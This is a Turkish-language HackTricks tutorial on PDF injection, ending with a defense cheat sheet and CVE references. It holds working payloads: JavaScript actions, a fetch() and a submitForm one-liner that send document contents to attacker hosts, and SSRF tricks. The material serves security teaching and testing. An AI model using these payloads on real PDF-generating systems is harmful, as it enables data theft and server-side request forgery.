PDF Injection
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Eğer girdiniz bir PDF dosyası içinde yansıtılıyorsa, JavaScript çalıştırmak, SSRF gerçekleştirmek veya PDF içeriğini çalmak için PDF verisi enjekte etmeyi deneyebilirsiniz. PDF sözdizimi son derece hoşgörülüdür – eğer girdinizi gömülü olduğu dizeden veya sözlükten çıkarabilirseniz, Acrobat/Chrome'un memnuniyetle ayrıştıracağı tamamen yeni nesneler (veya aynı nesnede yeni anahtarlar) ekleyebilirsiniz. 2024'ten itibaren bir dizi hata ödülü raporu, bir kaçış karakteri olmayan parantez veya ters eğik çizginin tam script çalıştırmak için yeterli olduğunu göstermiştir.
TL;DR – Modern Saldırı İş Akışı (2024)
- Oluşturulan PDF'de (parantez dizesi),
/URI ( … )
veya/JS ( … )
alanında sona eren herhangi bir kullanıcı kontrolündeki değeri bulun. - Dizeyi kapatmak için
)
enjekte edin ve ardından aşağıdaki ilkelere birini ekleyin ve sözdizimini geçerli tutmak için başka bir açılış parantezi ile bitirin. - Kötü niyetli PDF'yi bir kurbanına (veya dosyayı otomatik olarak işleyen bir arka uç hizmetine – kör hatalar için harika) teslim edin.
- Yüklemeniz PDF görüntüleyicide çalışır:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (bkz. CVE-2024-4367)
- Acrobat → Tam JavaScript API (arbitrary dosya içeriklerini
this.getPageNthWord
ile dışarı aktarabilir)
Örnek (not bağlantısı kaçırma):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
İlk )
orijinal URI dizesini kapatır, ardından kullanıcı bağlantıya tıkladığında Acrobat'ın gerçekleştireceği yeni bir Action sözlüğü ekleriz.
Kullanışlı Enjeksiyon Primitifleri
Hedef | Yük Paylaşım Parçası | Notlar |
---|---|---|
Açılışta JavaScript | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Belge açıldığında anında çalışır (Acrobat'ta çalışır, Chrome'da çalışmaz). |
Bağlantıda JavaScript | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | /Link anotasyonunu kontrol ediyorsanız PDFium & Acrobat'ta çalışır. |
Kör veri sızdırma | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | İçerik çalmak için JS içinde this.getPageNthWord ile birleştirin. |
Sunucu Tarafı SSRF | Yukarıdakiyle aynı ancak dahili bir URL'yi hedefleyin – PDF'nin /URI 'yi dikkate alan arka ofis hizmetleri tarafından render edildiğinde harika. | |
Yeni nesneler için Satır Sonu | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | Kütüphane yeni satır karakterlerini enjekte etmenize izin veriyorsa tamamen yeni nesneler oluşturabilirsiniz. |
Kör Sayım Hilesi
Gareth Heyes (PortSwigger), bilinmeyen bir belgedeki her nesneyi sayan bir tek satırlık kod yayınladı – oluşturulan PDF'yi göremediğinizde kullanışlıdır:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
Kod, Acrobat DOM'u üzerinde döngü yapar ve her özellik/değer çifti için dışa açık istekler gönderir, size dosyanın JSON-benzeri bir dökümünü verir. Tam teknik için “Portable Data exFiltration” adlı beyaz belgeye bakın.
Gerçek Dünya Hataları (2023-2025)
- CVE-2024-4367 – Firefox’un PDF.js sürüm 4.2.67 öncesinde, hazırlanmış bir
/JavaScript
eylemi ile kumandayı aşan rastgele JavaScript yürütmesi. - Hata ödülü 2024-05 – Büyük bir fintech,
/URI
'de yer alan müşteri tarafından sağlanan fatura notlarına izin verdi;file:///
URI kullanarak iç metadata sunucusuna gösterilen SSRF sonrası rapor $10k ödendi. - CVE-2023-26155 – Sanitasyona tabi tutulmamış PDF yolu üzerinden
node-qpdf
komut enjeksiyonu, PDF katmanından önce ters eğik çizgilerin ve parantezlerin kaçışının önemini gösterir.
Savunma Hile Sayfası
- Asla ham kullanıcı girdisini
(
…)
dizeleri veya adları içinde birleştirmeyin. PDF spesifikasyonunun §7.3'üne göre\
,(
,)
karakterlerini gerektiği gibi kaçırın veya hex dizeleri<...>
kullanın. - Bağlantılar oluşturuyorsanız, tamamen URL kodlaması yaptığınız
/URI (https://…)
tercih edin; istemci görüntüleyicilerindejavascript:
şemalarını engelleyin. - PDF'leri son işlemden geçirirken
/OpenAction
,/AA
(ek eylemler),/Launch
,/SubmitForm
ve/ImportData
sözlüklerini temizleyin veya doğrulayın. - Sunucu tarafında, güvenilmeyen PDF'leri JavaScript ve dış eylemleri kaldıran bir başsız dönüştürücü (örneğin, qpdf –decrypt –linearize) ile işleyin.
- PDF görüntüleyicilerini güncel tutun; PDF.js < 4.2.67 ve Acrobat Reader, Temmuz 2024 yamanmadan önce basit kod yürütmesine izin verir.
Referanslar
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (Mayıs 2024 güncellendi). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Nisan 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.